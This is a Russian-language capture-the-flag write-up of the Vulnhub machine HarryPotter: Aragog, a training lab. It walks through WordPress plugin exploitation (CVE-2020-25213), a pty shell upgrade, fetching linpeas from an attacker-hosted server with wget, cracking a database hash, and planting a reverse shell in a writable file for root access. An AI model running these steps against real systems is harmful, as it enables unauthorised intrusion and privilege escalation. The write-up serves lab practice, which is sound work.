August 7, 2024

HarryPotter: Aragog (1.0.2)

Предисловие.

В этом цикле решений будут, как у же понятно из названия машины со всем известного сайта vulnhub. К сожалению обновленных машин за 2024 год я не нашел и решил по решать те что есть, естественно их все можно найти в глобальной сети интернет и возникает вопрос "а зачем их тогда еще раз решать?". Лично для меня это опыт решения машин на базе ОС Linux, т.к. показала практика, в этом направление у меня большая брешь и нужно ее заполнить. Конечно я постараюсь показать свой вариант решения данных машин. Начну я свой путь с серии машин, а далее уже буду решать одиночные.

P.S.

Для того, что бы начать решать машины их необходимо скачать и установить, т.к. эти машины уже готовые образы систем.

Этапы тестирования:

  1. Разведка и сбор информации о цели. На данном этапе проводится сбор информации о цели, осмотр выданных ip адресов на наличие открытых портов и сервисов.
  2. Поиск скрытых директорий. На данном этапе проводится поиск скрытых директорий, для получения дополнительной информации о цели тестирования.
  3. Получение доступа. На данном этапе выполняются действия для получения учетной записи, для дальнейшего продвижения.
  4. Повышение привилегий. На данном этапе выполняются действия с повышенными привилегиями, что приводит к компрометации целевой операционной системы или корпоративной сети.

Сканирование портов.

И так мы видим, что у нас есть 2 открытых порта и определенные сервисы.

При переходе по ссылку http://192.168.31.175 можно увидеть следующее.

Посмотрим какие еще сервисы есть на данной странице при помощи браузерного расширения wapplyzer.

Теперь у нас есть дополнительная информация о сервисах и их версиях.

Поиск скрытых директорий.

Для поиска возможных скрытых директорий я воспользуюсь программой wfuzz., на описание самой программы и синтаксиса команд останавливаться не буду, да и у каждого есть свой любимый инструмент для данных действий.

Как мы видим есть 2 директории. Наиболее интересной директорией является директория "/blog".


При переходе в данную директорию можно увидеть следующее.

Здесь мы можем увидеть интересное сообщение, а главное автора данного сообщения WP-Admin.

Проведем рекурсивный фаззинг директорий. Суть данного фаззинга заключается в дополнительном поиске возможно скрытых директорий.

По окончание работы программы данный этап можно считать закончинным, мы получили максимум информации.

Получение доступа.

Т.к. мы уже знаем, что имеем дело с wordpress, то можем посмотреть, какие еще уязвимости можно найти, для этого можно воспользоваться утилитой wpscan, но я буду использовать metasploit.

И так, мы можем наблюдать, что есть детект на определенный плагин, если провести поиск по названию данного плагина, то можно увидеть, что данный плагин подвержен уязвимости CVE-2020-25213, почитать можно здесь. Так же на GitHub можно найти готовый exploit.

И так мы получили сессию, далее нам необходимо ввести команду shell для получения оболочки, но оговорюсь сразу изначальная оболочка будет не очень удобной. Поэтому вводим команду which и необходимую программу, в нашем случае это python/python3 и далее следующую команду python3 -c 'import pty;pty.spawn("/bin/bash")'. После будет вполне знакомая оболочка. Далее необходимо провести осмотр машины и найти первый флаг.

Флаг будет в формате base64, то как его расшифровать описывать не буду.

И так мы атакуемой машине, нам не обходимо провести полный осмотр машины, данный смотр будет осуществляться при помощи программы linpeas. Но что бы поместить cкрипт необходимо на атакующей машине поднять сервер для передачи файлов. Сервер понимается следующей командой python3 -m http.server 8080. После поднятия сервера командой wget http://<ip>:<port>/fil_name мы загружаем необходимый скрипт.

По окончание работы скрипта linpeas.sh необходимо сохранить вывод в отдельный файл для дальнейшего анализе, т.к. он будет не маленьким.

Во время анализа вывода, можно обнаружить следующее.

Мы можем видеть, что у нас есть данные для подключения к БД (База Данных), а как мы помним из вывода программы wapplyzer, то у нас есть MySQL. Попробуем подключиться.

Мы подключились, теперь точно так же нужно осмотреться, для этого есть определенный синтаксис команд, ознакомиться можно здесь.

И если вы сделали все правильно, то должны увидеть следующий вывод.

Полученный хеш сохраняем и отправляем на перебор или же брут форс.

Для этого я буду использовать программу John The Ripper (JTR).

После получения пароля в открытом виде, пробуем подключиться по ssh.

Как можно видеть подключение у нас есть.

Повышение привилегий.

Для данного действия нам необходимо еще раз и очень внимательно осмотреть вывод команды linpeas.sh и найти в нем очень интересный файл.

Теперь перейдем в нужную директорию и посмотрим, что из себя представляет данный файл.

Файл очень интересный, попробуем в него внести изменения и получить reverse shell. Для этого можно воспользоваться reverse shell generate, который можно найти здесь.

В данный файл вносим изменения в виде нашей команды для получения reverse shell и на хосте поднимем listener. Через какое-то время мы получим ответ.

Таким образом мы получаем второй флаг.